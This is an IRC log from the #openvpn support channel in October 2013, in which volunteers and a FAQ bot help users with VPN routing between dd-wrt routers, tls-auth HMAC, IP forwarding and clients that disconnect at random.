21:59 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
22:23 -!- Tera_ [~tera@ip133-114.seclan.com] has joined #openvpn
22:23 -!- namidark [~namidark@192.34.61.38] has quit [Ping timeout: 248 seconds]
22:23 -!- lmm [uid6417@gateway/web/irccloud.com/x-vewqoguvffwbhdpr] has quit [Ping timeout: 248 seconds]
22:23 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 248 seconds]
22:24 -!- levifig [~levifig@hakr.io] has quit [Ping timeout: 248 seconds]
22:24 -!- Tera [~tera@ip133-114.seclan.com] has quit [Ping timeout: 248 seconds]
22:25 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has quit [Ping timeout: 248 seconds]
22:25 -!- mcp [~mcp@wolk-project.de] has quit [Ping timeout: 248 seconds]
22:25 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
22:25 -!- phunyguy [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has joined #openvpn
22:25 -!- phunyguy [~phunyguy@h96-61-19-206.kgldga.dsl.dynamic.tds.net] has quit [Changing host]
22:25 -!- phunyguy [~phunyguy@unaffiliated/phunyguy] has joined #openvpn
22:26 -!- lmm [uid6417@gateway/web/irccloud.com/x-axyfdqffpctnxrts] has joined #openvpn
22:26 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
22:26 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
22:26 -!- levifig [~levifig@hakr.io] has joined #openvpn
23:19 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:34 -!- elfixit [~Icedove@82.197.179.16] has quit [Ping timeout: 272 seconds]
23:38 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
23:43 -!- cj [~cjac@2607:ff08:f5:3a::3] has quit [Ping timeout: 245 seconds]
--- Day changed Mon Oct 21 2013
00:19 -!- Linmu [~Linmu@203.70.194.104] has quit [Ping timeout: 248 seconds]
00:20 -!- Linmu [~Linmu@203.70.194.104] has joined #openvpn
00:21 -!- wallbroken [~wallbroke@151.72.3.242] has quit []
00:58 < crass> hmm, is it the intention of the down-root plugin to allow only a command or a command + args to be given at the init string to the plugin?
00:59 < crass> the README suggests the later, says it can be used like: plugin openvpn-down-root.so "command ..."
01:02 -!- bs0d [~bs0d@84.50.244.38] has joined #openvpn
01:03 < bs0d> Hello. OpenVPN connection drops or hangs up if a notebook has been in sleep mode for a while.
01:04 < bs0d> After it awakes, the OpenVPN tool sais that connection is present, but %s instead of IP address and no connection at all. I have to manually disconnect and connect again
01:04 < bs0d> Is there any workaround for this?
01:13 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
01:25 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
01:28 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
01:29 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Client Quit]
01:38 <@krzee> bs0d, where did you download openvpn from?
01:38 <@krzee> !download
01:38 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
01:38 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
01:38 <@krzee> there ^ ?
01:47 < bs0d> I downloaded the one from the openvpn.net
01:50 <@krzee> heh
01:50 < bs0d> swupdate.openvpn.net/downloads/openvpn-client.msi  this one, to be exact
01:50 <@krzee> go to the link
01:50 <@krzee> ahh
01:50 <@krzee> THATs what i was asking
01:51 <@krzee> either you downloaded the wrong program or you are in the wrong channel
01:51 <@krzee> !as
01:51 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
01:51 < bs0d> thanks, I will visit #openvpn-as
01:51 <@krzee> np
01:57 -!- LeLion [~LeLion@75.144.103.2] has joined #openvpn
01:57 < LeLion> hello everyone
01:58 < LeLion> I am hoping there is an expert here who might be able to help with an issue I have with dd-wrt and OpenVPN
01:59 < LeLion> I'm using OpenVPN to connect 2 dd-wrt routers. I use routed instead of bridge to keep both subnets separate. The router being used as the server (A) uses subnets 192.168.1.0 for the LAN  and 10.0.100.0 for the VPN tunnel. The subnet used by the the other router (B) is 192.168.0.1.
01:59 < LeLion> The VPN tunnel has no problem going up. The VPN server (A) gets 10.0.100.1 and the client (B) gets 10.0.100.2. When I access router (B) from SSH, I am able to ping router (A) -> 10.0.100.1 as well as its clients within subnet 192.168.1.0.
01:59 < LeLion> Additionally, clients in subnet 192.168.0.0 ,attached to router (B), are able to ping router (A) 10.0.100.1 and router (B) 10.0.100.2 but they cannot ping clients in the 192.168.1.0 subnet attached to router (A).
01:59 < LeLion> When I access router (A), the VPN server, through SSH, I am able to ping its VPN address 10.0.100.1 and I am also able to ping router (B) 10.0.100.2. However, I cannot ping any of the clients behind router B within subnet 192.168.0.0
01:59 < LeLion> I observed the same behavior when I use one of the clients behind router (A) in subnet 192.168.1.0. I can ping router (A) 10.0.100.1 as well as router (B) 10.0.100.2 but I cannot reach any of the clients behind router (B) within subnet 192.168.0.0
02:00 < LeLion> My goal is to have clients in subnet 192.168.1.0 talking to clients in subnet 192.168.0.1 through OpenVPN running on dd-wrt. I would appreciate any help to that matter.
02:01 < LeLion> server config: push "route 192.168.1.0 255.255.255.0"
02:01 < LeLion> push "dhcp-option DNS 10.0.100.1"
02:01 < LeLion> server 10.0.100.0 255.255.255.0
02:01 < LeLion> dev tun0
02:01 < LeLion> proto udp
02:01 < LeLion> keepalive 10 120
02:01 < LeLion> dh /tmp/openvpn/dh.pem
02:01 < LeLion> ca /tmp/openvpn/ca.crt
02:01 < LeLion> cert /tmp/openvpn/cert.pem
02:01 < LeLion> key /tmp/openvpn/key.pem
02:01 < LeLion> management localhost 5001
02:03 < LeLion> Firewall config: iptables -A INPUT -p udp --dport 1194 -j ACCEPT
02:03 < LeLion> iptables -A FORWARD --src 10.0.100.0/24 -j ACCEPT
02:03 < LeLion> iptables -A FORWARD --src 192.168.0.0/24 -j ACCEPT
02:03 < LeLion> iptables -A FORWARD -i br0 -o tun0 -j ACCEPT
02:03 < LeLion> iptables -A FORWARD -i tun0 -o br0 -j ACCEPT
02:07 < LeLion> and for the client firewall, I have:
02:07 < LeLion> iptables -A INPUT -p udp --dport 1194 -j ACCEPT
02:07 < LeLion> iptables -A FORWARD --src 10.0.100.0/24 -j ACCEPT
02:07 < LeLion> iptables -A FORWARD --src 192.168.1.0/24 -j ACCEPT
02:07 < LeLion> iptables -A FORWARD -i br0 -o tun0 -j ACCEPT
02:07 < LeLion> iptables -A FORWARD -i tun0 -o br0 -j ACCEPT
02:09 < LeLion> in the server log, I keep getting  MULTI: bad source address from client [192.168.0.111]
02:10 < LeLion> Any help would be GREATLY APPRECIATED !!!!
02:10 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
02:16 -!- Jaska_ [~Q@dsl-olubrasgw1-54fb5c-179.dhcp.inet.fi] has quit [Read error: Operation timed out]
02:33 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Ping timeout: 240 seconds]
02:34 <@krzee> LeLion,
02:35 <@krzee> !paste
02:35 <@vpnHelper> "paste" is "pastebin" is (#1) please paste anything with more than 5 lines into a pastebin site or (#2) https://gist.github.com is recommended for fewest ads; try fpaste.org or paste.kde.org as backups or (#3) If you're pasting config files, see !configs for grep syntax to remove comments
02:35 <@krzee> and read this
02:35 <@krzee> !route
02:35 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs behind
02:35 <@vpnHelper> the server or client
02:36 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
02:36 <@krzee> !iroute
02:36 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
02:37 <@krzee> !clientlan
02:37 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
02:37 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
02:40 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Remote host closed the connection]
02:41 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has joined #openvpn
02:47 -!- mapito [~map@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
02:47 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
02:49 -!- mapps [~map@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 245 seconds]
02:49 -!- map [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 272 seconds]
02:53 -!- lokken9 [lokken-pc@112.187.245.200] has joined #openvpn
02:53 < lokken9> !welcome
02:53 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
02:53 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
02:54 < lokken9> I would like to get some information about HMAC Firewall on OpenVPN.
02:54 < lokken9> It seems like a Port knocking mechanism but it says it supports UDP, so I am interested in how this was implemented.
02:55 < lokken9> Instead of looking at the source code, is there something I can refer to about it?
02:55 < lokken9> !ask
02:55 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
03:02 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
03:08 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
03:14 <@krzee> lokken9,
03:14 -!- crus` [~crusader@2001:44b8:319e:2900:e9aa:c485:e585:3ce2] has quit [Read error: Connection reset by peer]
03:14 < lokken9> yes
03:14 <@krzee> it is a signature on each packet via a static key
03:14 <@krzee> !hmac
03:14 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make the tls
03:14 <@vpnHelper> static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
03:15 < lokken9> yes.. I know what hmac is.
03:15 < lokken9> is it just as checksum?
03:16 < lokken9> what I thought was it is like a port knocking sequence that generates a special tcp initial sequence number with one-time password
03:16 <@krzee> thought wrong
03:16 < lokken9> oh, i see
03:16 < lokken9> then what is it exactly? is it just a checksum?
03:16 <@krzee>  <lokken9> yes.. I know what hmac is.
03:16 <@krzee> thought you knew :-p
03:17 < lokken9> thank you so much
03:17 <@krzee> np
03:18 < crass> lokken9: just wiki HMAC, its got nothing to do with port knocking or firewalling
03:18 < lokken9> krzee: oh, i have another question. which field does HMAC firewall use?
03:18 <@krzee> field?
03:18 < lokken9> is there a figure of OpenVPN header?
03:19 < lokken9> like TCP/IP stack figure
03:19 <@krzee> !security
03:19 <@vpnHelper> "security" is "secure" is (#1) http://openvpn.net/howto.html#security for hardening, or (#2) http://openvpn.net/index.php/documentation/security-overview.html for security overview
03:19 -!- crus [~crusader@2001:44b8:319e:2900:9428:f19f:5d60:bd4c] has joined #openvpn
03:19 < lokken9> i think i already read first article...
03:20 < lokken9> thank you
03:20 < deever> pekster: ok, thank you
03:20 <@krzee> #2 is the answer to your ?
03:20 <@krzee> np
03:24 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 246 seconds]
03:26 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
03:43 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 245 seconds]
03:44 -!- Mike-- [mad@probie.xs4all.nl] has quit [Remote host closed the connection]
03:46 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
03:47 -!- jhp [~jhp@zeus.jhprins.org] has quit [Ping timeout: 260 seconds]
03:48 -!- jhp [~jhp@zeus.jhprins.org] has joined #openvpn
03:49 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
04:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds]
04:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
04:14 -!- mode/#openvpn [+o dazo_afk] by ChanServ
04:14 -!- dazo_afk is now known as dazo
04:27 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 272 seconds]
04:28 -!- Tera_ is now known as Tera
04:28 -!- Tera [~tera@ip133-114.seclan.com] has quit [Changing host]
04:28 -!- Tera [~tera@unaffiliated/tera] has joined #openvpn
04:30 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
04:30 -!- kirin` [telex@gateway/shell/anapnea.net/x-hnyhshybrituifel] has quit [Ping timeout: 272 seconds]
04:53 -!- kirin` [telex@gateway/shell/anapnea.net/x-jlgykoqsusllxdsq] has joined #openvpn
05:03 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
05:05 -!- Falconor [~Falconor@magnetvpn.net] has quit [Ping timeout: 272 seconds]
05:06 -!- Falconor [~Falconor@magnetvpn.net] has joined #openvpn
05:19 -!- LeLion [~LeLion@75.144.103.2] has quit [Ping timeout: 248 seconds]
05:19 -!- bs0d [~bs0d@84.50.244.38] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"]
05:20 -!- LeLion [~LeLion@75.144.103.2] has joined #openvpn
05:33 -!- cyberspace- [20253@ninthfloor.org] has quit [Read error: Operation timed out]
05:33 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
05:51 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
05:52 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
05:55 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:19 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
06:27 -!- Denial [Denial@90.216.209.93] has joined #openvpn
06:27 -!- markp [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 256 seconds]
06:51 -!- Mcsnugglez [~IceChat9@53547430.cm-6-5b.dynamic.ziggo.nl] has joined #openvpn
06:51 < Mcsnugglez> !welcome
06:51 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
06:51 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
06:51 < Mcsnugglez> !route
06:51 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
06:51 <@vpnHelper> behind the server or client
06:51 < Mcsnugglez> !redirect
06:51 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
06:51 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
07:00 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 260 seconds]
07:01 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
07:21 < Mcsnugglez> !nat
07:21 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
07:21 < Mcsnugglez> !ipforward
07:21 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
07:21 < Mcsnugglez> !linipforward
07:21 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
07:21 < Mcsnugglez> !iproute
07:22 < Mcsnugglez> !tcpip
07:22 <@vpnHelper> "tcpip" is http://www.redbooks.ibm.com/redbooks/pdfs/gg243376.pdf See chapter 3.1 for useful basic TCP/IP networking knowledge you should probably know
07:22 < Mcsnugglez> ugh , does someone remember the command to show example for iproute table? i remember i had it last week and that sorted it out , just forgot to save the config ><
07:22 < Mcsnugglez> !redirect
07:22 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
07:22 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
07:24 < Mcsnugglez> !def1
07:24 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
07:28 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:30 -!- xpl0iter [~obscurant@122.172.192.32] has joined #openvpn
07:32 < xpl0iter> Hello I have a doubt. I see I need licenses for adding more than 2 clients at a time. Someone was saying me, since this is under GPL, compiling the source myself will create the server without this restriction. Is that so?
07:32 < xpl0iter> I am talking about openvpn-as
07:36 -!- Mcsnugglez [~IceChat9@53547430.cm-6-5b.dynamic.ziggo.nl] has quit [Remote host closed the connection]
07:37 -!- Mcsnugglez [~IceChat9@53547430.cm-6-5b.dynamic.ziggo.nl] has joined #openvpn
07:42 -!- Mcsnugglez [~IceChat9@53547430.cm-6-5b.dynamic.ziggo.nl] has quit [Ping timeout: 265 seconds]
07:45 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has joined #openvpn
07:53 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
07:54 -!- takamichi [~takamichi@85.12.8.15] has joined #openvpn
08:06 -!- deever [~deever@78.46.68.172] has left #openvpn []
08:14 -!- taylorbyte2013 [~cyberninj@139.218.237.26] has quit [Quit: Leaving.]
08:14 -!- caelian [~caelian@ovh.caelian.net] has quit [Disconnected by services]
08:14 -!- caelian1 [~caelian@ovh.caelian.net] has joined #openvpn
08:16 -!- xpl0iter [~obscurant@122.172.192.32] has quit [Quit: Nettalk6 - www.ntalk.de]
08:18 -!- takamichi [~takamichi@85.12.8.15] has quit [Read error: Operation timed out]
08:20 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
08:28 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:31 -!- dougquaid [~brian@pool-108-44-169-124.clppva.fios.verizon.net] has joined #openvpn
08:33 < dougquaid> I accidentally made two different keys with the same CN so I added duplicate-cn to my server. Should both clients work? Or does duplicate-cn only allow two clients using identical keys to connect at the same time?
08:41 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has quit [Ping timeout: 264 seconds]
08:43 -!- marlinc [~marlinc@ip565fa73c.direct-adsl.nl] has joined #openvpn
09:11 -!- fling [~fling@fsf/member/fling] has quit [Read error: Connection reset by peer]
09:11 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has quit [Quit: elfixit]
09:12 -!- fling [~fling@fsf/member/fling] has joined #openvpn
09:16 -!- Six6siX [~six6@jasmine1.sammybakar.com] has quit [Quit: Six buggin' out...]
09:20 -!- Six6siX [~six6@jasmine1.sammybakar.com] has joined #openvpn
09:35 -!- sailerboy [~sailerboy@2605:6400:2:fed5:22:3e62:d2e8:e4e1] has quit [Remote host closed the connection]
09:37 -!- troyt [~troyt@2601:7:6d00:432:a0e6:97ff:fe78:f02e] has joined #openvpn
09:56 -!- djh02 [5925d867@gateway/web/cgi-irc/kiwiirc.com/ip.89.37.216.103] has joined #openvpn
09:56 < djh02> hello, how can i prevent clients from disconnecting randomly ? keepalive doesnt cut it
09:57 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 245 seconds]
10:03 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
10:10 < dougquaid> What do the client logs say? Does it give a reason for disconnecting?
10:11 < djh02> yes it tells me it cant resolve the server's address... the openvpn gui stays yellow in the traybar
10:12 < djh02> im using latest windows client, server is 2.2.1 ubuntu from repositories
10:12 < dougquaid> That sounds like a DNS or internet connectivity problem on the client's end
10:12 < djh02> well its logical for it to not resolve, the problem is why does the connection drop ? its not as if theres an actual problem with the physycal connection
10:12 < djh02> im routing all traffic via vpn
10:13 < dougquaid> Why is it logical for it not to resolve? I'm guessing that the client is doing a ping-restart, tries to look up the dns of your openvpn server and fails
10:14 < djh02> so since the client keeps trying to re-establish the tunnel (perhaps the vpn routes are still up? my best guess) it cannot reach the public address of the DNS to resolve my server name. even if i put my server's ip in the client conf i still cant ping it when the vpn goes down for whatever reason
10:14 < djh02> dougquaid: exactly. ping-restart
10:14 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 272 seconds]
10:14 < djh02> im running windows8 clientside and the openvpn gui executable is ran with administrative privileges
10:15 <+oc80z> same
10:16 < dougquaid> I have a similar setup as you where I'm routing all traffic over the VPN, but I don't have this problem on ping-restart
10:16 <+oc80z> and clients are disconnecting?
10:16 < djh02> oc80z: clients randomly enter ping-restart state
10:16 < dougquaid> You can configure the ping-restart time
10:16 < djh02> because of inactivity i guess cause when i was browsing it worked fine but when i went out i found my computer later disconnected
10:17 <+oc80z> you can have the clients use 'ping'
10:17 <+oc80z> i think theres an option to ping -- to keep data on the line..
10:17 < djh02> keepalive 10 120 does what it sais and pushes pings and ping-restart directives to all clients
10:18 < djh02> so that should cover it, right ? man sais : as long as a peer takes more than 120 seconds to reply a ping-restart is initiated. peers reply in <1s
10:18 < djh02> so there's no way such a timeout can ever occur we're in the same area afterall
10:18 -!- takamichi [~takamichi@85.12.8.15] has joined #openvpn
10:18 < djh02> with pings goin on every 10 seconds. i tried configuring it insane values like keepalive 1 10 still get dc'ed after some time
10:19 < djh02> random but hangs in between 5-15 minutes
10:20 <+oc80z> hmm
10:20 <+oc80z> so you can keep traffic on the line
10:20 <+oc80z> between the two links then it dies...
10:21 <+oc80z> (not sure, just reading stuff now)
10:21 <+oc80z> sorry if you have to repeat.. :/
10:23 < djh02> well
10:23 < djh02> im really not sure... i had this huge 10 hours youtube video play and it disconnected as well
10:23 <+oc80z> is your environment OK to do this?
10:24 <+oc80z> i know of some IDS systems which terminate encrypted flows longer than N minutes
10:24 < djh02> what do you mean ? i own the servers its mine rentted vps
10:24 < djh02> oh ?
10:24 < djh02> that could be so... i d have to check with the hosting company but as far as i know there are no such things in between
10:25 <+oc80z> ok -- no problem.. if you are trying to exit out one of these networks, the connection can be reset
10:25 <+oc80z> but ok
10:25 <+oc80z> and this is a UDP tunnel?
10:25 <+oc80z> or a TCP tunnel?
10:25 < djh02> udp
10:25 < djh02> i can paste co nfigs if u wish
10:25 <+oc80z> and there is only 1 gateway?
10:26 <+oc80z> for each tunnel?
10:26 < djh02> the openvpn server itself is not on a gateway
10:26 <+oc80z> i mean, theres is only 1 route to the internet?
10:27 <+oc80z> and the ip address is not changing .. its just a simple vps-to-vps setup?
10:27 < djh02> ah that. well im guessing so. this is the servers config http://pastebin.com/xBdzygwH
10:27 <+oc80z> do you have more than 1 client?
10:27 <+oc80z> ok ill look
10:27 < djh02> there are more than 1 client to the vpn yes
10:28 <+oc80z> and they have different certs?
10:28 < djh02> sure
10:28 < djh02> each their own
10:28 < djh02> and their own passwords
10:28 <+oc80z> if they share the same certs -- they can cause each other to disconnect.. ok
10:28 < djh02> i auth via mysql
10:29 < djh02> a master ca is used to sign the server key and client keys. its self signed no need to pay for certs yet
10:29 <+oc80z> aye -- it looks ok
10:30 <+oc80z> hmm
10:30 <+oc80z> <dougquaid> That sounds like a DNS or internet connectivity problem on the client's end
10:30 < djh02> and this is the clients http://pastebin.com/aew19YF0
10:30 <+oc80z> <djh02> yes it tells me it cant resolve the server's address... the openvpn gui stays yellow in the traybar
10:30 <+oc80z> well
10:30 < djh02> let me search some logs ill paste the exaxct error
10:30 <+oc80z> if your clients use 208.67.220.220
10:31 <+oc80z> they will route DNS requests to 10.8.0.0
10:31 < djh02> its opendns i figure they quite stable
10:31 <+oc80z> yesh but the requests go thru the tunnel and to your vpn-server
10:31 < djh02> and they claim to protect against certain attacks too so thats why
10:31 < djh02> yes they go thru the tunnel everytin goes thru the tunnel
10:31 <+oc80z> so the clients ask your vpn server for dns requests @ opendns
10:31 <+oc80z> have you tested dns thru your tunnel?
10:31 < djh02> its the whole idea why i opted for this vpn is anonimity
10:32 <+oc80z> nice config.
10:32 < djh02> everything works from webpages to ssh sessions so dns definitely works
10:33 <+oc80z> i use persist-tun so traffic doesnt leak -- i thought that would fix that if the tunnel goes up/down/
10:33 <+oc80z> oh you do havethat, cool.
10:34 < djh02> i did so that precisely because it doesnt leak
10:34 < djh02> i found the client error here is
10:34 < djh02> Wed Oct 16 15:39:10 2013 RESOLVE: Cannot resolve host address: <edited>: No such host is known.
10:34 < djh02> thats form a few days ago.
10:35 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:36 < djh02> that happens right after http://pastebin.com/M3q80wHz
10:36 -!- takamichi [~takamichi@85.12.8.15] has quit [Ping timeout: 248 seconds]
10:36 < djh02> had to edit some hostnames out of it
10:36 <+oc80z> hmm
10:36 <+oc80z> and you are using DNS or IP for your clients server <server> 1194
10:37 <+oc80z> is the no-dhcp option messing it up? dunno..
10:39 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
10:40 < djh02> in my client configs i have the dns names
10:40 <+oc80z> hmm
10:40 < djh02> for simplicity.. but.. when it reaches the stage where it fails to resolve and the tunnel doesnt work, if i try to ping the ip address of the server it still doesnt work for obvious reasons
10:40 <+oc80z> i would run a test on your clients
10:41 < djh02> i mean public adress. i have static ip address on server.
10:41 <+oc80z> keep (in loop) a DNS test and ICMP test going
10:41 <+oc80z> yea
10:43 < djh02> i was thinking on smth but never got to experiment... what if i keep keepalive 10 120 but also add inactive 172800 would only disconnect idle clients (but very connectable) only after two days
10:44 < djh02> i think thats a decent "soft" timeout
10:44 -!- _nwonknu [unknown@shell.nethack.be] has quit [Remote host closed the connection]
10:47 <+oc80z> nah dont do that --
10:47 <+oc80z> i would just make sure you can keep an active ping (do this ont he client)
10:48 <+oc80z> ping your 10.8.0.1 subnet -- your 192.168.1.1 gateway (again, on client), and keep doing a dns lookup for google.com on 10.8.0.1 and google.com for 192.168.1.1
10:48 <+oc80z> sorry, 10.8.0.1 dns should be your opendns
10:48 <+oc80z> it happens a lot, right?
10:49 <+oc80z> i am suspect of DNS
10:49 < djh02> well i am on vpn right now . if i do C:\Users\x>nslookup www.google.com 8.8.8.8
10:49 < djh02> Server:  google-public-dns-a.google.com
10:49 < djh02> Address:  8.8.8.8
10:49 < djh02> works
10:50 <+oc80z> that should go thru your VPN tunnel
